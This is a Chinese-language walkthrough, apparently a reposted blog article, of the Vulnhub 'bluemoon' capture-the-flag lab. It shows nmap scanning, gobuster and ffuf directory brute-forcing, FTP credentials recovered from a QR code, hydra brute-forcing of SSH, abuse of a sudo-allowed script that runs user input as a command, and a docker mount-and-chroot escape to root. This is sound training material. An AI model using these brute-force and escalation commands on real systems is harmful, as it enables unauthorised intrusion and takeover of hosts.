文章总结: 本文详细介绍了Vulnhub靶场bluemoon的渗透测试过程,从信息收集到提权的完整步骤。通过nmap扫描发现目标IP和开放端口,使用gobuster和ffuf工具扫描目录发现hidden_text目录,从二维码中获取FTP登录凭据,登录FTP获取SSH用户名和密码文件,使用hydra爆破SSH密码,登录SSH后利用脚本漏洞提升权限,最后使用docker提权获取root权限。文章强调了信息收集的重要性,并展示了多种渗透测试工具的使用方法。
综合评分: 87
文章分类: 渗透测试,CTF,漏洞分析,WEB安全,内网渗透
Vulnhub靶场之bluemoon
原创
MS02423
MS02423
2025年11月19日 20:50
天津
这个靶场挺有意思的,它就像是CTF题目一样,我们在比赛的时候,通常是最后一部分题目,就是给你一个靶场然后让你去探测它的ip(有时候也会直接给你给出ip地址),然后去攻击它提权,最后在root目录下拿到flag,提交到输入框里面,获取相应的分数。
这个靶场不是很难,但是第一步的信息收集,我们必须搜集到有用的信息,不然的话你是做不出来的,俗话说得好信息收集是渗透测试的第一步,也是最关键的一步,良好的信息收集,可以让渗透测试成功一半。我们一起来看看这个靶场。
1.探测IP
nmap -sP 192.168.137.0/24
IP地址为192.168.137.45
2.扫描IP
1)扫描端口
nmap -p- -sV 192.168.137.45
开放了21,22,80,3个端口这三个端口我们都会有用的
2)扫描目录
sudo dirsearch -u http://192.168.137.45
我们什么都没有扫描到,我们来看看web界面吧
3.访问IP
http://192.168.137.45/
还是什么都没有,看看源代码吧
没有什么都没有,那么我们看看21端口,试试ftp登录
4.渗透测试
ftp登录
lftp 192.168.137.45
ftp 192.168.137.45
ftp登录不了。然后我去搜索了21端口版本号vsftpd3.0.3的漏洞,结果没有什么用,不过我们应该知道vsftpd最著名的漏洞是笑脸漏洞版本号是(vsftpd2.3.4)
截止到目前,我们什么都没有收集到,那么我们就要思考思考了,是不是我们信息收集没有收集到,因为目前为止,我们只能查看80端口了,22端口是使用不了的我们没有用户名和密码没有办法爆破的。
而且80端口我们只能进行信息收集的,那么我们就换一个工具试试,看能不能收集到有用的信息。
这里我们使用2个新的扫描工具,一个是gobuster,一个是ffuf。
首先,我们使用gobuster工具进行扫描试试看(速度比较慢,是正常的),可以看到扫描到一个新的目录——hidden_text
gobuster dir -u http://192.168.137.45 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
我们也可以使用ffuf工具进行扫描,可以看到和gobuster工具扫描出来的目录是一样的
ffuf -u http://192.168.137.45/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
所以信息收集是非常重要的,而且选择一个目录扫描工具也是比较重要的,如果以后我们在做靶场的时候,没有扫描或者是收集到有用的信息的话,我们就需要换一个工具或者是换一个思路去做。不管怎么样肯定会给我们一个信息或者其他什么漏洞让我们去利用的。
知识点:gobuster和ffuf工具的使用
那么我们就去访问这个目录试试
http://192.168.137.45/hidden_text
让我们点击Thank You,可以看到出现一个二维码,我们进行扫描查看,网上有好多的扫描工具,或者使用微信扫描也行。不过我推荐使用CaptfEncoder工具去扫描,在比赛或者CTF竞赛的时候,我们是没有网络的,我们必须使用离线工具的
http://192.168.137.45/.QR_C0d3.png
我们去扫描这个二维码,可以看到出现了ftp登录的用户名和密码
那么我们就去登录ftp
USER=userftpPASSWORD=ftpp@ssword
ftp登录
lftp [email protected]
我们可以看到登录成功,而且有2个文件我们进行查看
可以看到一个是用户名,一个是密码,需要我们去爆破的,这里我们猜测是ssh登录,因为我们已经登录过ftp,不可能让我们再次登录的,而且ftp登录的作用,应该就是让我们发现ssh登录的用户名和密码的。
hydra爆破
hydra -l robin -P 1.txt ssh://192.168.137.45
成功爆破出来,那么我们就登录ssh,这里ftp我们就不再使用了,因为ftp的使命已经完成了,不然的话,是不会让我们登录ssh的,在CTF比赛中,我们必须清楚每一步给出我们的信息是为了什么,而不是单纯的去使用。
ssh登录
ssh [email protected]
我们直接进行提权看看
sudo -l
(jerry) NOPASSWD: /home/robin/project/feedback.sh
告诉我们当我们使用jerry用户执行feedback.sh脚本的话,是不需要密码就可以执行的,那么我们查看一下这个脚本。
我们可以看到最后一行
$feedback 2>/dev/null
这行代码会直接执行用户在feedback变量中输入的任何内容
2>/dev/null 只是隐藏了错误信息,但命令仍会执行
#!/bin/bashclearecho -e "Script For FeedBack\n"read -p "Enter Your Name : " nameecho ""read -p "Enter You FeedBack About This Target Machine : " feedbackecho ""$feedback 2>/dev/null
那么我们以jerry去执行这个脚本,我们就会获取到jerry用户的
sudo -u jerry ./feedback.sh
记得一定要使用sudo去执行这个脚本,不然的话,你获取到的还是robin用户的权限
第一个空我们随便填写,第二空必须填写/bin/bash,因为我们需要去执行这个脚本才能获取到jerry用户的,不然的话是没有用的。
我们查看权限的时候,可以看到出现了docker,那么我们看看能不能使用docker进行提权
我们可以看到一串命令,我们执行试试
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
记得这里不要使用sudo,不然的话需要我们输入密码的,我们是不知道密码的。
我们可以看到提权成功,已经是root用户了,我们查看flag即可。
我们在/home/目录下,又发现了2个flag,发布在不同的用户里面
一般情况下,当我拿到shell的时候,第一时间我都会去/home/目录下查看,有没有新的用户名,这次我之所以没有查看是因为我可以看到能够直接提权,我就没有去查看,最终的目的,我们是获取root权限。
靶场到这里就结束了,这个靶场可以好好做做,因为它非常的接近CTF的比赛题目形式,而且思路和步骤都是非常的清楚。没有一个步骤是没有用的,只有通过上一个步骤才能拿到相应的信息等等。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MS02423 MS02423《Vulnhub靶场之bluemoon》